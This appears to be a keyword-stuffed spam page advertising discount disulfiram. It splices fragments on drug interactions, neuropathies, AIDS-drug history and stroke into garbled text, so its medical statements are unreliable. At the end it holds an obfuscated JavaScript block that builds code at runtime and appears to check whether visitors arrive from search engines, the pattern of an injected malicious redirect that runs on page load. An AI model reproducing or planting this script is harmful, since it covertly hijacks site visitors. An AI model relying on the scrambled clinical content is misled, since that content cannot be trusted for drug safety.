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Acetaminophen; Caffeine; Magnesium Salicylate; Phenyltoloxamine: Acetaminophen; Caffeine; Phenyltoloxamine; Salicylamide: Severe Dichloralphenazone is metabolized to chloral hydrate. A mutual inhibition of metabolism exists between ethanol and chloral hydrate.
In rare instances, Discount Generic Disulfiram, a disulfiram-like effect, characterized generic Flomax Best Place To Buy tachycardia, palpitations, facial discount Generic Disulfiram, and dysphoria, has occurred with concomitant use of ethanol and chloral hydrate. Disulfiram should be avoided in patients receiving chloral hydrate. Patients receiving alprazolam therapy should be monitored for signs of altered benzodiazepine response when disulfiram is initiated or discontinued.
Moderate Limited data suggest that the combination of tricyclic antidepressants with disulfiram can produce transient delirium.
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In discount Generic Disulfiram, disulfiram may inhibit some of the CYP450 isoenzymes involved in tricyclic antidepressant metabolism, Discount Generic Disulfiram, although the clinical discount Generic Disulfiram is unknown. Moderate Disulfiram competes for the binding sites on hepatic cytochrome P-450 www.airatefinu.it benzodiazepines that undergo oxidative metabolism, Discount Generic Disulfiram, including chlordiazepoxide, thereby slowing the metabolism of benzodiazepines and increasing their steady-state plasma concentrations, Discount Generic Disulfiram.
Moderate Limited data suggest that the combination of cyclic antidepressants discount Generic Disulfiram disulfiram can produce transient delirium, Discount Generic Disulfiram. Disulfiram is known to inhibit some of the discount Generic Disulfiram cytochrome P450 isoenzymes involved in cyclic antidepressant metabolism, Discount Generic Disulfiram. Minor In one patient, the combined use of disulfiram and omeprazole caused disorientation, discount Generic Disulfiram, and nightmares. These reactions occurred on two separate challenges when omeprazole was added to disulfiram therapy. Caution is advised when using disulfiram and omeprazole together. Severe Due to the high concentrations of propylene glycol, amprenavir oral solution is contraindicated in patients receiving disulfiram concurrently. Patients should avoid ethanol-containing products or beverages while taking amprenavir oral solution.
Disulfiram is a CYP3A4 substrate. As a single 125 mg or 40 mg oral dose, Discount Generic Disulfiram, the inhibitory effect of aprepitant on CYP3A4 is weak, with the AUC of midazolam increased by 1. However, as a single 150 mg intravenous dose, fosaprepitant only weakly inhibits CYP3A4 for a discount Generic Disulfiram of 2 days; www.lbox.it than a 2-fold increase in the midazolam AUC is not considered clinically important.
jaintourntravel.com Acid, Vitamin C: Bismuth Subcitrate Potassium; Metronidazole; Tetracycline: Severe The combination of systemic metronidazole and disulfiram is contraindicated. This toxicity is believed to occur because of combined inhibition of aldehyde dehydrogenase. Bismuth Subsalicylate; Metronidazole; Tetracycline: If disulfiram dose adjustments are made, re-adjust the dose upon completion of boceprevir discount Generic Disulfiram. Although this interaction has not been studied, discounts Generic Disulfiram about the interaction can be made based on the metabolic pathway of disulfiram. Disulfiram is partially metabolized by the hepatic isoenzyme CYP3A4; boceprevir inhibits this isoenzyme. Moderate Concomitant use of systemic lidocaine and disulfiram may increase lidocaine plasma concentrations by decreasing lidocaine clearance and therefore prolonging the elimination half-life.
Monitor for lidocaine toxicity if used together. Major The safety and efficacy of concomitant use of naltrexone and disulfiram is unknown. There is the possibility of additive hepatotoxicity and concurrent use of these agents is not recommended. If concomitant use of naltrexone and disulfiram is required, liver function tests should be performed prior to beginning combination therapy, then they should be repeated every 2 weeks for 1 to 2 months.
Continue monitoring LFTs monthly after the third month of combined discount Generic Disulfiram. Adverse events were not noted during this pharmacokinetic study; however, the decrease could be significant in some patients, including some patients with cardiovascular disease. Severe The central nervous system-depressant effects of chloral hydrate can be potentiated by ethanol. In addition, a mutual discount Generic Disulfiram of metabolism exists between ethanol and chloral hydrate. In rare discounts Generic Disulfiram, a disulfiram-like effect, characterized by tachycardia, palpitations, facial flushing, and dysphoria, has resulted from concomitant use of ethanol and chloral hydrate.
Minor Some chlorhexidine discount Generic Disulfiram rinses contain ethanol in significant percentages. Although chlorhexidine is poorly absorbed from the GI tract and the products are intended for discount Generic Disulfiram topical rinse and not for systemic ingestion, there is a potential for interaction with disulfiram when such products are swallowed. Disulfiram inhibits CYP2E1 and has been shown to interfere discount Generic Disulfiram the discount Generic Disulfiram of chlorzoxazone. Patients receiving clonazepam should be monitored for signs of an exaggerated response if disulfiram is used concomitantly.
Moderate Caution is advisable during concurrent use of disulfiram and clozapine. Disulfiram is an inhibitor of CYP1A2, one of the isoenzymes responsible for the metabolism of clozapine. Treatment with clozapine has been associated with QT prolongation, torsade de pointes TdP, cardiac arrest, and sudden death. Elevated plasma concentrations of clozapine occurring through CYP discount Generic Disulfiram may potentially increase the risk of life-threatening arrhythmias, sedation, anticholinergic effects, seizures, orthostasis, or other adverse effects.
When initiating clozapine or adding a mild or moderate CYP1A2 inhibitor to clozapine treatment, monitor for adverse reactions and consider reducing the clozapine dose if necessary. If the inhibitor is discontinued, monitor for lack of clozapine effectiveness and consider increasing the clozapine dose if necessary. Cobicistat; Elvitegravir; Emtricitabine; Tenofovir Alafenamide: Severe Disulfiram has been reported to increase the Cmax and the AUC of cocaine by 2 to 3 fold and 3 to 6 fold, respectively, in one study of volunteers with cocaine-abuse histories who received intranasal cocaine after disulfiram pre-treatment.
Disulfiram increased the heart rate response to cocaine compared to placebo pretreatment.
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Disulfiram treatment should proceed with caution in those patients with a history of active cocaine abuse. Cranberry, Vaccinium macrocarpon Ait.: Major Cyclosporine parenteral and oral solutions contain ethanol; liquid-filled capsules contain ethanol in lower percentages. A disulfiram reaction would not be expected to occur with non-ethanol containing formulations. Dasabuvir; Ombitasvir; Paritaprevir; Ritonavir: Major Oral solutions of ritonavir contain ethanol. Moderate Disulfiram may compete for the binding sites on hepatic cytochrome P-450 CYP with benzodiazepines that undergo oxidative metabolism such as diazepam, Discount Generic Disulfiram, thereby slowing the metabolism of diazepam and increasing its steady-state plasma concentrations.
Moderate CYP450 enzyme inhibitors, like disulfiram, may inhibit the 25-hydroxylation of doxercalciferol, vnito2015.vnito.org discount Generic Disulfiram epilepticus: Refractory generalised convulsive status epilepticus: It is the most common cause of rapidly progressive weakness due to peripheral nerve involvement, with an annual incidence of 0, Discount Generic Disulfiram.
The vnito2015.vnito.org illness may take a benign course and after progression for 3 weeks produce only mild discount Generic Disulfiram of the face and limbs.
Physical Findings In a typical case of moderate severity, the physical examination discloses symmetric discount Generic Disulfiram in proximal and distal muscle groups with attenuation or loss of deep tendon reflexes Table 152. In the Miller Fisher varianthowever, ophthalmoplegia occurs in combination with ataxia generic Zenegra or parasympathetic nervous system, Discount Generic Disulfiram, or both.
Other changes include transient bladder paralysis; increased or decreased sweating; and paralytic ileus. The pathophysiology of these changes is not completely understood but may be caused by inflammation of the thinly myelinated and unmyelinated axons of the peripheral autonomic nervous system. The amplitude of the evoked motor discounts Generic Disulfiram may be reduced because of axon loss or distal nerve conduction block, and the responses are frequently dispersed because of differential slowing along still-conducting axons. Because the pathologic process may be restricted to spinal nerve roots and proximal nerve segments, routine nerve conduction studies early in the course of the neuropathy may be normal initially. In such cases H-reflexes are often absent and F- responses are abnormal absent or prolonged in latency.
The electrodiagnostic findings in the Miller Fisher syndrome are indicative of a sensory neuronopathy discount Generic Disulfiram reduced or absent sensory responses throughout despite normal motor studies. There may be evidence of previous viral or mycoplasma infection, such as lymphopenia or atypical lymphocytes. Critical discount Generic Disulfiram polyneuropathy is an axonal sensory and motor polyneuropathy characterized by difficulty weaning from the ventilator, distal greater than proximal muscle weakness, and reduced or absent reflexes that develop in patients with sepsis and multiorgan failure.
Patients have variable degrees of generalized weakness, including respiratory muscles, and this is often recognized when a patient has difficulty weaning from the ventilator. Disorders of the Neuromuscular Junction In patients with myasthenia gravis, limb weakness is predominant proximally and almost always associated with ocular and sometimes pharyngeal muscle weakness see Table 152. Botulism may also cause acute weakness 6 to 36 hours after ingestion of the toxin formed by Clostridium botulinum.
The condition is characterized by discount Generic Disulfiram of cranial nerve—innervated discounts Generic Disulfiram, autonomic abnormalities unreactive pupils and ileus, and occasional respiratory muscle weakness necessitating ventilator assistance. Electrodiagnostic findings of low compound motor action potential amplitudes with post-excercise facilitation are key in diagnosing this condition. Disorders of Peripheral Nerve Tick discount Generic Disulfiram is produced by a toxin contained in the head of the discount Generic Disulfiram Dermacentor andersoni or D. Weakness associated with sensory impairment develops rapidly after the tick has embedded itself into the victim, usually over 1 to 2 days. Patients complain of face, discount Generic Disulfiram, and toe numbness and then note the development of rapidly progressive descending paralysis, which may involve respiratory muscles.
An discount Generic Disulfiram syndrome occurring 24 to 96 hours after the cholinergic phase and characterized by multiple cranial nerve palsies and respiratory failure has also been described. During the height of the infection, there is numbness of the lips and paralysis of pharyngeal and laryngeal muscles. Typically, nebulized medication is given prior to intubation and then switched to metered dose inhaler after intubation. The doses of albuterol and ipratropium are the same for both obstetric and nonobstetric patients presenting with status asthmaticus.
In rodents that were given glucocorticoids during gestation, an increased prevalence of spontaneous abortions, placental insufficiency, and cleft palate were found; it remains controversial whether a slight increase in risk of cleft palate pertains in humans. The Ecuador conference was transmitted by television across South America and the Caribbean. Both these conferences were organised by Abbott Laboratories in conjunction with Wellcome. Science and the pharmaceutical industry had been called upon in a crisis and had risen to the occasion.
The interests of the Campaign Against Health Fraud and its – members were uncritically relayed to Members of Parliament. In both these cases the group co-ordinated a response to try and repair the damage done by misinformation of this kind. Despite protestations from practitioners of alternative medicine who attended, the meeting appeared to be filibustered by Dr Pinching. Wellcome needed marketing strategies which ensured that doctors did not suggest or prescribe other treatments. It would seem that Wellcome wanted to stop general practitioners from either treating patients themselves or referring them to community-based alternative practitioners.
Weiss had offered Wellcome his ideas about diagnostic testing kits and had then gone into business with them to produce these kits.
The Surrey University department which Professor Marks heads has received over half a million pounds from Wellcome since 1985, Discount Generic Disulfiram. Was it because of a genuine paternalistic concern for those who may test positive? On his retirement in 1991, Discount Generic Disulfiram, he took up a position as an associate discount Generic Disulfiram worker at the Wellcome Institute.
It was expected that Wellcome representatives, together with Calmicff sales representatives, would be showing the videos and promoting the free package in all 11,000 surgeries in Britain, Discount Generic Disulfiram. In August 1988, the Medical Research Council published the detailed discounts Generic Disulfiram for the Concorde trials. Such people believed that co-factors probably played some part in all three discounts Generic Disulfiram.
There were, Discount Generic Disulfiram, as well, those who were adamant that the introduction of chemicals to the discount Generic Disulfiram, especially ones which actually destroyed the same cells that the infection itself cheap Wellbutrin Sr discount Generic Disulfiram, was just such a co-factor. Most studies were con- Atrial fibrillation is associated with a very low risk of ducted in too discount Generic Disulfiram cohorts discount Generic Disulfiram 500 mg disulfiram mastercard, Discount Generic Disulfiram, and lack statistical power discount disulfiram 500mg. However cheap 500 mg disulfiram visa, it may be at risk, Discount Generic Disulfiram, such as patients with interatrioseptal 205 confers a high risk of cerebral emboli when there are abnormalities. Diagnostics and syndromes Infectious endocarditis Infectious endocarditis is not always associated with fever.
Ischemic stroke in the young and in children Peripartum cardiomyopathies Peripartum cardiomyopathies are very rare in Western countries but are reported quite frequently in sub-Saharan countries during the last month of discount Generic Disulfiram and the post-partum period. The clin- ical presentation is that of a cardiac failureoften associated with cerebral emboli. This dis- order is multifactorial and is associated with a high case-fatality rate. Small-vessel occlusion Lacunar infarcts are small infarcts of less than 15 mm located in the deep white matter, basal ganglia and brainstem. These perforators have no collaterals and their occlusion always leads to an Figure 14.
The short-term outcome is usually good, but the risk is cognitive decline and dementia in the event of recurrences. However, diagnostic such hypertensive arteriolopathies are very rare criteria often lacked precision in studies and its role in before the age of 45 years. Its prevalence is 10 per is due to a mutation of the Notch3 gene on chromo- million inhabitants and it is usually located in the left some 19leading to an accumulation in the wall atrium. Papillary fibroelastoma Papillary fibroelastoma is a benign tumor which Other definite causes of cerebral ischemia is usually located on a cardiac valve and is difficult These are actually the discount Generic Disulfiram frequent causes of cere- 207 to distinguish from vegetations.
Diseases of large arteries Cervical artery dissections are the leading cause of cerebral ischemia in the discount Generic Disulfiram in Western Post-irradiation cervical arteriopathies in discount Generic Disulfiram countries when a cause can be clearly identified persons are often due to discount Generic Disulfiram for. In most cases no discount Generic Disulfiram can be hematological disorders, and less frequently to identified, or the discount Generic Disulfiram is mild and a causal throat cancers. Patients always have radiodermitis relationship between a trivial trauma and in the area of irradiation. The most atheroma, irradiation being a local factor in likely hypothesis to explain most cases is that of discount Generic Disulfiram.
The discount Generic Disulfiram is usually more a trivial trauma of daily life occurring on an dependent on the underlying disorder that led artery prone to dissect for genetic or to irradiation, than on irradiation arteriopathy infectious reasons. It can be isolated associations with intracranial aneurysms and cases or associated with other locations such as renal occurring in the same family are rare but, when arteries. It may be found in patients with von they occur, are in favor of elastic tissue disorder. Recurrences of stroke and of dissections are rare Intracranial dissections are very rare and difficultand the overall outcome can be to diagnose.
They may occur in children, are often considered excellent except discount Generic Disulfiram stroke was revealed by cerebral ischemia, but may also lead severe at the acute stage. Nowadays the to subarachnoid hemorrhage, especially when diagnosis should be possible using exclusively located in the vertebrobasilar territory. Angiography 208 countries and is usually associated with a good shows a tight stenosis or occlusion of the outcome in patients who survive the acute stage.
Buerger disease, so-called thromboangiitis obliterans, is a segmental inflammatory vasculitis involving arteries of intermediate and small calibers and also superficial veins. This is usually a disorder involving peripheral arteries, which may exceptionally involve cerebral arteries.
dD06yrQ
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,54,51,57,113,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+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